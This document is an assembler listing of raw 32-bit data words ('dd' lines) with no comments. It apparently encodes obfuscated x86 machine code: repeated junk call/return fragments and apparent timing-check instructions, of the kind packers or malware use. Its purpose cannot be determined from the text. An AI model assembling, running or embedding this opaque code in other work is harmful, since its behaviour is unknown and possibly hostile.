		dd 4247489h, 4244481h, 14h, 0DAC35646h,	28EB8166h, 8343B318h
		dd 2200F5BDh, 850F0106h, 80h, 9E9h, 47FA1F00h, 0F8AD4563h
		dd 26A2F89h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0A0C35545h, 32F5BD8Bh, 0E8500622h, 7, 26E484CFh
		dd 0FAA2950h, 28Fh, 5B5B5000h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3075C357h
		dd 0A532E673h, 0BD0118FCh, 62208E1h, 28595FFh, 0BD8B0622h
		dd 6221E15h, 0D78E9h, 0E800h, 815D0000h, 271FA6EDh, 0F5D78106h
		dd 0E90D8BF1h, 7, 0E167ED52h, 8D7610BEh, 25934585h, 905B5606h
		dd 5DBB6650h, 0BF0F90C9h, 6DB509F8h, 64062233h,	35FFh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B9636C3h, 2221B1BDh, 25896406h, 0
		dd 85FF0DB7h, 62208B1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0B6C35747h, 0D89BA281h, 0F7BF6628h, 8BFF6A93h
		dd 4DB5FFD8h, 6A06222Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 91AC356h, 636BD0AFh
		dd 89FB8B66h, 2212B1B5h, 3595FF06h, 0E906221Ch,	14Fh, 0FCDBD89h
		dd 0B00622h, 10F9B529h,	70E60622h, 286DBD03h, 71E40622h
		dd 25319589h, 613C0622h, 129830Fh, 0AE90000h, 40000000h
		dd 4FDE7509h, 0E92C5432h, 0C8B60FD0h, 7E9h, 0CFA16100h
		dd 99F81D8Dh, 6BAh, 12E85300h, 46000000h, 0BCC43E1Ah, 630E6EA6h
		dd 7FB21A42h, 54BD0B35h, 2D9D33C1h, 5F062227h, 0FC18B5Bh
		dd 82h,	4E8C100h, 13A59D89h, 0F7660622h, 6840FE2h, 89000000h
		dd 221F0995h, 0E9C82B06h, 0Dh, 0E5DBED9Eh, 4E07EED3h, 5CC06091h
		dd 79BD8B67h, 8B062224h, 0A1DB81D1h, 0E90E6048h, 9Fh, 0B6F6C781h
		dd 858B68BFh, 44004E49h, 875B501h, 0C0830622h, 6830F07h
		dd 89000000h, 2234E5BDh, 0C08306h, 10918509h, 0D03B0622h
		dd 20830Fh, 85890000h, 6221461h, 62E9h,	0FE800h, 0DF800000h
		dd 818CFF9Ch, 6434DED8h, 80E9FC24h, 8D8B5FE4h, 0FFFFFFFFh
		dd 7E9h, 0B6EDFB00h, 0F2F4C2B7h, 0F01E183h, 3284h, 8E800h
		dd 42CD0000h, 7AC04ED4h, 0DB81B5D3h, 48D75E9h, 0FFA5835Fh
		dd 0FEFFFFFFh, 2018589h, 95890622h, 44004E49h, 0EFD9D33h
		dd 0E90622h, 8D000000h,	26A0A5B5h, 3DB58906h, 0F506221Bh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 2FCEBCC3h, 0F98B141Eh, 0A3F38166h, 7595FFB1h
		dd 6A062230h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 47D5C351h, 5E8h, 0B66C6300h, 0B95BD570h
		dd 100Ah, 8019D8Bh, 0E1830622h,	51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 810FFCA1h
		dd 2, 12E9B5B3h, 6D000000h, 0C1D3C657h,	0D55D297Dh, 6122946Fh
		dd 0D040E661h, 0BBC02B12h, 262A998Fh, 33ADD22Bh, 3E8D1C2h
		dd 4E983D0h, 0BD29F475h, 6221AF9h, 0DFB8B66h, 88h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 61C35141h, 44A0E49Eh
		dd 66E25E7Ch, 6DFCDF81h, 33F1958Bh, 9D8B0622h, 62204C9h
		dd 8BDE8B66h, 222D318Dh, 85895606h, 6221659h, 0C28B505Bh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 6AD9BFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D54C4CC3h, 0FAB70FD8h, 2C69BD83h, 0F000622h, 3F84h
		dd 26E78000h, 0B8h, 59B9BB00h, 8D8D54D0h, 62250B1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ABC35747h, 0FE7DB4CCh
		dd 0FD8A2AF3h, 8D09E1FFh, 6222CA5h, 30E5BD83h, 0F000622h
		dd 4D184h, 15BD8B00h, 83062226h, 2230E5BDh, 840F0106h
		dd 4D9h, 2AE59D89h, 0BD830622h,	62230E5h, 90860F03h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0ABCFC351h, 6A60DB69h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E004C356h
		dd 0C53ADBCCh, 90B95100h, 89D98C66h, 222CD9BDh,	80DA8A06h
		dd 0BD8B04E1h, 6222C71h, 840FC90Ah, 16Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 53C35343h, 6E8409A1h
		dd 299030BCh, 2201AD95h, 0B9858B06h, 6A062210h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 6BD9C350h, 9589E11Ah, 62200C9h, 8A58533h, 0B5290622h
		dd 622270Dh, 16E8BB50h,	4895717h, 13E924h, 6EFE0000h, 0B8A62ED6h
		dd 0E852B41h, 87439508h, 921B2A3Bh, 6A006A23h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0D971C351h, 0E8795305h, 4, 1F03FFh, 0FE95250h, 49000000h
		dd 0CFB63500h, 0A94B748h, 2317184Ah, 310F97BCh,	28B0Fh
		dd 61600000h, 5350585Ah, 8B5F79B7h, 53042444h, 8B008B5Bh
		dd 244489DAh, 0C1B96004h, 6141D63Eh, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 59BD8B8Ah
		dd 0FF062225h, 221E9195h, 859D2306h, 8906221Fh,	25CAEB85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0BBDBFB80h, 8BA3494Fh, 2206CD9Dh, 245E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BB5087C3h, 185B1EA2h, 0E3858B5Bh, 6A0625CAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 195C357h,	566A37F5h, 9FBF6673h, 6E997h, 69DB0000h
		dd 0CCDC2D2Bh, 1800C7h,	4ABB0000h, 8B20611Ch, 25CAE7B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 22255AF6h, 0EE4B1908h, 858BC24Fh, 6220A65h
		dd 15759D29h, 6890622h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0DDC35545h, 6EFD72F1h, 6860Fh, 9D8B0000h
		dd 6220E55h, 3CC78166h,	0B9858B2Dh, 6A062210h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0DBC356h, 4468997h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DDC35040h, 48C0FE8h,	66000000h, 0B3589CBBh
		dd 0BB66968Bh, 6650E71Bh, 6A96D98Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3A0EC356h
		dd 9D337CBAh, 62200E5h,	0CAE3B5FFh, 6A0625h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 14B95DC3h
		dd 3A2E624Ah, 60D4915Ah, 6861C68Bh, 0E7214635h,	7E960h
		dd 0EC2B0000h, 70B8FF28h, 12E887h, 4B110000h, 98305466h
		dd 7927340Fh, 0F1C57586h, 8C385D4Ah, 5FF98B66h,	24048161h
		dd 18FDBDCAh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	0B3C35141h, 89AE426Fh, 0BD897535h, 6222449h, 0CAEB858Dh
		dd 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0C3A563C3h, 8909A3C4h, 2202A595h,	6D852906h
		dd 9006220Ah, 246CBB66h, 5294BB50h, 9907412h, 222739B5h
		dd 9195FF06h, 6A06221Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 5B4CC352h, 61F98AF5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h
		dd 23DF8166h, 0E585C7DBh, 3062230h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 342DC355h, 6AD730Dh,	0BD830733h, 625CAEBh, 44840F00h
		dd 66000000h, 0E9EDE7BFh, 56h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 16C35040h, 0BF661CB0h, 0F606E7Eh
		dd 1184h, 0BE800h, 42CB0000h, 31DEDFF2h, 5DD2B47Bh, 50615B30h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 3DEE69C3h, 1021BD8Bh, 0BD230622h,	6223321h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DEC35343h
		dd 33337277h, 0EF773182h, 0F11B797h, 686h, 859D8900h, 8306221Fh
		dd 2230E5BDh, 850F0306h, 436h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0E2C35545h,	0F4BB2A1Bh, 834F1F2Eh
		dd 25CAEBBDh, 840F0006h, 406h, 68A0Fh, 0DB810000h, 6D67F332h
		dd 0CAEBB5FFh, 6A0625h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 4B7C7FC3h, 0CD95FFA3h, 6A06221Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9BEEC350h, 0E067F604h, 0F573D509h, 259D9589h
		dd 0B58B0622h, 625CADFh, 68C0Fh, 95890000h, 62232CDh, 106C7h
		dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 6650FFC3h, 3489D88Bh, 599D8924h, 8B06221Ah
		dd 2210B59Dh, 0EBB5FF06h, 6A0625CAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A8ADC353h
		dd 4D58FF08h, 0BEDD3168h, 0FE8h, 67542B00h, 0D16B5FEh
		dd 54E0FCCDh, 3F315ADAh, 4195FF5Fh, 6A062225h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 66BCC356h, 0B2A8F781h, 0CADFB58Bh, 0C6BF0625h, 8B14C090h
		dd 221B2D85h, 0CD9D8B06h, 0F062206h, 187h, 8689F900h, 0C4h
		dd 0BE9h, 4F231800h, 0BC7F6321h, 0A67417D3h, 33F1958Bh
		dd 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 3033C9C3h, 0B70FFE21h, 8352B3FBh,	6A04C2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 939FCCC3h, 8971CB80h, 81662050h, 0F988F6EBh,	0DEBC858Dh
		dd 81660625h, 894C9FEFh, 0B886h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4595099Bh
		dd 6A062226h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8B66BC08h, 0EBB5FFDFh, 0E90625CAh
		dd 10h,	2C000AAAh, 8FCC74F5h, 867521E9h, 4C325779h, 28595FFh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 11E925C3h, 10000000h, 269E5314h, 4E1FA8FAh
		dd 38E119h, 3B18EE0Ah, 6A965096h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 2B0EC352h
		dd 0B800F28h, 0F000000h, 58Dh, 0EB816600h, 0B5FFB9CBh
		dd 625CAEBh, 0BD8FBB66h, 1AF595FFh, 6A0622h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD83D3C3h
		dd 6221331h, 42840F00h,	8B000000h, 221399BDh, 6E806h, 1C990000h
		dd 3E359826h, 2C59D8Bh,	965F0622h, 7E8h, 48859500h, 0A0AA89CDh
		dd 13E9h, 0B2D9A400h, 9D6F14BCh, 2D43DB63h, 0AAF77F64h
		dd 7788670Eh, 0D98B505Bh, 0EBB5FF96h, 660625CAh, 62C6F781h
		dd 1D4195FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 453E7DC3h, 0E9F5FB1Ah, 0FF22CF80h
		dd 25CAEBB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E923803Eh, 13h, 0F6818263h, 822255Ah
		dd 4FEE4B19h, 27411CC2h, 0FF5482FCh, 222FC595h,	12E906h
		dd 0CAD80000h, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E067F604h
		dd 2A9BD83h, 0F020622h,	4884h, 8BFFB700h, 2200E185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B65A61CDh, 720C0CC6h, 0DF8B668Ah, 0C6F98Ah,	8E800h
		dd 0FC8E0000h, 2307493Bh, 8D2940ECh, 6220911h, 7D85C75Bh
		dd 62219h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 1559C356h, 53596949h, 9637C14Dh
		dd 1EE911B3h, 8BFFFFF3h, 0B5858DC1h, 6A06222Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7C64C353h, 31BE2E7Eh, 2205699Dh, 13E95006h, 40000000h
		dd 5FB6C5A8h, 624793E4h, 29B6C709h, 85C82480h, 489BA0Dh
		dd 0DE924h, 0C1420000h,	1E80E3DEh, 59D63327h, 6A253CB2h
		dd 68A0F00h, 8B000000h,	222C45BDh, 8B006A06h, 2216319Dh
		dd 0AD858D06h, 8A06272Eh, 5C083F9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0DAC35141h,	69D6C36Fh, 4895018h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 8F8CEDC9h, 667988A9h, 723DEB81h,	0D98B006Ah
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 5C00DAC3h, 0EF80DA8Bh, 5595FFABh,	56062235h
		dd 0C1BD2B56h, 5B06222Fh, 0F8D8D5Fh, 8A0625A9h,	6AD1FFFAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 701EC351h, 27DB770Dh, 0BD83E126h,	62200F5h
		dd 5A850F01h, 8B000000h, 222CE19Dh, 57026A06h, 8E9h, 0B0061800h
		dd 0D980D4ACh, 60505BE6h, 800F60h, 61000000h, 10E9h, 0FFD56D00h
		dd 53BA7BCFh, 1520FD24h, 79899A9Ah, 4896100h, 95FFFC24h
		dd 6220285h, 14E9h, 0C1985200h,	26523554h, 0C3A25966h
		dd 0BECC551Bh, 0C80C42D5h, 0EC6E91Dh, 0E80000h,	5D000000h
		dd 2EB7ED81h, 6A0627h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD33A7C3h, 62204A5h, 62C78166h
		dd 45858D81h, 1062593h,	220FF5BDh, 0F535006h, 0F88h, 0AE900h
		dd 0E0090000h, 9281069Bh, 0DC943161h, 2404895Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 0EB187EDEh
		dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7870C357h, 64F8BF0Fh
		dd 2589h, 81660000h, 0FFDD01D7h, 2208B185h, 0C890F06h
		dd 0F000000h, 68Eh, 0B1958900h,	6A06220Fh, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 35928DE2h, 0D9BD8B40h, 306221Bh, 2211A1BDh, 359D8B06h
		dd 0FF062207h, 220ED9B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 3DBD89A9h
		dd 0FF06220Eh, 221C3595h, 12DE906h, 0BD890000h,	6220E2Dh
		dd 15300B0h, 2203F98Dh,	70E65F06h, 1ED1E381h, 71E43E95h
		dd 0BEABF781h, 613C4394h, 105830Fh, 11E80000h
		dd 3E000000h, 0C8719546h, 0CA6649C8h, 0C2BBF0DAh, 0ACC8B550h
		dd 0C8B60F5Fh, 9EDBD8Bh, 6BA0622h, 0E9000000h, 10h, 0F98E4699h
		dd 445E838h, 43AD9E68h,	8E7539DFh, 0C1C18BF9h, 0F76604E8h
		dd 13E8E2h, 4AAC0000h, 0C6AAFF8Ah, 1D7E5D08h, 0D9D1FE6Bh
		dd 8A46F25h, 0C98160DBh, 0EC481EDh, 5B61F38Bh, 0CF81C82Bh
		dd 7B0BD156h, 0D88BD18Bh, 8EE9h, 8BDE8B00h, 5F4C4C85h
		dd 73BB6650h, 7C083ABh,	0C083F9h, 25BD8B50h, 5F062226h
		dd 830FD03Bh, 10h, 66E9h, 0F88B6600h, 0DDBD2953h, 5B062226h
		dd 0FFFF8D8Bh, 0B509FFFFh, 6221BC9h, 19850Fh, 0EE80000h
		dd 73000000h, 0C58AB8C9h, 359A7E50h, 20F9E6B8h,	0D38166F1h
		dd 835B20BBh, 840F01E1h, 27h, 2F5BD89h,	0BF0F0622h, 0FFA583F9h
		dd 0FEFFFFFFh, 68DBF381h, 9589711Ch, 505F4C4Ch,	24ADBD8Bh
		dd 0E90622h, 8D000000h,	26B0AFB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 14FB1B59h
		dd 8B577B5Ch, 222911BDh, 6A5B06h, 38B0Fh, 8B660000h, 7595FFF8h
		dd 0E9062230h, 0Dh, 0F5239EC6h,	0B9456781h, 0D4C496ECh
		dd 0F7DB9D8h, 9D8B0000h, 62221B9h, 6AFCE183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0AA31C352h, 9653CCF8h, 0C11FA1D1h, 68E0Fh, 9D330000h
		dd 6221C45h, 6AFCF9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D328A0C3h, 0C6BF66FCh, 0FE9E6h
		dd 0C0340000h, 351328E0h, 32B12447h, 5602AC16h,	9C02B9Bh
		dd 22143985h, 6AD22B06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0CCB1C355h,	0DEDE62DAh
		dd 29ACFA62h, 222FCD95h, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 60EA6750h, 820F60h, 0E8000000h, 14h, 2E1905DFh
		dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 70B5615Bh
		dd 0FDF8B61h, 48Bh, 4BBB6600h, 52006A29h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 315B180Eh
		dd 0CE8EA4BBh, 880D78h,	0BD8B0000h, 62207D9h, 33F1958Bh
		dd 0BD8B0622h, 62231D5h, 2D318D8Bh, 8E0F0622h, 10h, 9E956h
		dd 0A7950000h, 526115A1h, 5B7A24BAh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0FE8B5818h, 69BD83F9h, 6222Ch
		dd 4C840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0DCCDEDC3h, 817EF96Ch, 0B8h, 41BD8B00h
		dd 8D062230h, 2250B18Dh, 0F1B58906h, 0FF06221Bh, 0CE9E1h
		dd 38120000h, 0E06846DBh, 0D552200h, 0BD83C90Ah, 62230E5h
		dd 27840F00h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0F15EC352h,	172A9F8Dh
		dd 2CED6945h, 0B086DB81h, 0BD832625h, 62230E5h,	0A840F01h
		dd 8B000005h, 220121BDh, 7E906h, 0DEE90000h, 16BC149Bh
		dd 0E5BD8346h, 3062230h, 4B5860Fh, 60FC0000h, 68E0Fh, 830F0000h
		dd 0
		dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0E1FC5CC3h, 66DE8B45h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E556C4C3h
		dd 15358D29h, 0E1800622h, 0FC90A04h, 1B784h, 0F9BD3300h
		dd 8B062214h, 2210B985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 204A22DFh, 0E865ED18h
		dd 13h,	0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh, 0F84D877h
		dd 1786h, 12E900h, 59C60000h, 82FE842h,	0C3C8A27Ch, 7EC2D139h
		dd 21E55114h, 0A585335Bh, 6A062208h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5860C356h
		dd 0D966A6C4h, 3B26919Ch, 0BB506FB3h, 0CA4187h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9FDC355h, 10h, 348A31DFh, 0EAF04370h, 27DE5D28h
		dd 2CF14F73h, 8B60006Ah, 2214699Dh, 0BB666006h,	8D09C0FCh
		dd 62231C1h, 4E86161h, 0FF000000h, 66001F03h, 6050DA8Bh
		dd 28D0Fh, 21B10000h, 24448B61h, 9A64BB04h, 8B5F07h, 2850Fh
		dd 0FE8A0000h, 4244489h, 0F58BAB3h, 1883h, 128F0F00h, 0E9000000h
		dd 0Dh,	318269Ch, 0B0DEFC03h, 0E3CDAA54h, 0D139BFF9h, 95FF4723h
		dd 6221E91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	3C35242h, 88A82DFFh, 9D8B4B8Eh,	6222D65h, 0CAEB8589h
		dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 782E1C3h,	89DA1052h, 222AE195h, 24EE906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0CB8187C3h, 2049052Ah, 0CAE3858Bh, 14E90625h
		dd 0C8000000h, 0C1438F46h, 416A08CDh, 3B8311E5h, 1B4F3D26h
		dd 0C7EAA441h, 1800h, 11E900h, 0A3C70000h, 0E93BDCE2h
		dd 0F9EA2305h, 5BF2861Ch, 6035E023h, 1025B589h,	61F50622h
		dd 0CAE7B58Bh, 6A0625h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 3D2D32C3h, 4AE6BB44h, 0B70F628Ch
		dd 65858BDBh, 6A06220Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F44AC350h,	30E4EFAh
		dd 59958999h, 51062224h, 895FD98Bh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 8E257A9h, 0F7C2C59h
		dd 858BFBBFh, 62210B9h,	4689F9B7h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 9BE2309Eh
		dd 0BB665E18h, 0BB50D97Bh, 376678E0h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 837FC350h, 66EFDF49h, 0E9C2E8BBh, 12h, 0E29A8DFAh, 0A3B76D2Dh
		dd 0BE679452h, 920742DEh, 0FE91677h, 65000000h,	0AD4AE1BBh
		dd 42427B77h, 0DFAD6283h, 0B5FF1D63h, 625CAE3h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9BC35646h, 892B95A0h
		dd 0E9DBBF0Fh, 12h, 210316D3h, 0B86C0DCFh, 0EF686B57h
		dd 33A81DEh, 9D8B4BE5h,	62230E1h, 99AC4668h, 8E8A1h, 28C20000h
		dd 441502E5h, 8B660E53h, 4815FFBh, 8557B924h, 0E595895Eh
		dd 8D062220h, 25CAEB85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CC5743E5h, 32B8A180h
		dd 66901D17h, 0F50D88Bh, 1489h,	0AE800h, 0F5F90000h, 0E92B351Fh
		dd 60C89915h, 0E03ABB66h, 6A905Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 89B723C3h, 95FF361Ch
		dd 6221E91h, 0BE961h, 0AF6F0000h, 0ABE0F926h, 0DDF3E7F8h
		dd 0E585C7F8h, 3062230h, 66000000h, 83C056BBh, 25CAEBBDh
		dd 840F0006h, 43h, 58E9F8h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A950A6C3h
		dd 0BE8B2FBh, 0BC000000h, 93ED9E8h, 0EAA7F8EBh,	880F7175h
		dd 6, 189DBD03h, 505B0622h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BB66C08Bh, 8D8930ACh, 62234BDh
		dd 83DA8B66h, 2230E5BDh, 850F0306h, 4B3h, 1E59BD8Bh, 0BD830622h
		dd 625CAEBh, 0A0840F00h, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0B1C5C350h
		dd 0B03E0E1h, 0CAEBB5FFh, 0FB8B0625h, 1DCD95FFh, 6A0622h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F7199CC3h, 20B0CA94h, 0CDBD890Eh, 8B06222Ch, 25CADFB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 435EBF86h, 6598509h, 6C70622h, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C5C35040h, 0FD6AACBEh
		dd 0D3A5B3D6h, 18D0Fh, 0FF80000h, 5050D9B7h, 0BF525052h
		dd 7E3DB58Bh, 6160310Fh, 310F585Ah, 3489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0F02B76CEh, 0AA60DBE2h, 0B99D8B52h, 5F062201h, 22159D8Bh
		dd 0BD890622h, 6222231h, 0CAEBB5FFh, 6A0625h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0F0166EC3h
		dd 8D0F52A7h, 3, 0FFD88B66h, 22254195h,	0B58D8906h, 8B06222Ah
		dd 25CADFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B2F2599h, 2233159Dh, 2D858B06h
		dd 6A06221Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B7C1C357h, 90AEEB67h,	89FC1E49h
		dd 0C486h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0F233235Ch, 6EC67886h, 8C0F6Eh, 8B000000h
		dd 2233F195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 59F744A9h, 74EEAE61h, 83BBEB80h
		dd 0BFF904C2h, 14272389h, 6A205089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C97DC351h
		dd 460C40D2h, 12619D8Bh, 858D0622h, 625DEBCh, 89DABF0Fh
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0ADD949A5h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0ECF10FC3h
		dd 0B5FFF98Eh, 625CAEBh, 0E850006Ah, 3,	58C35820h, 4244489h
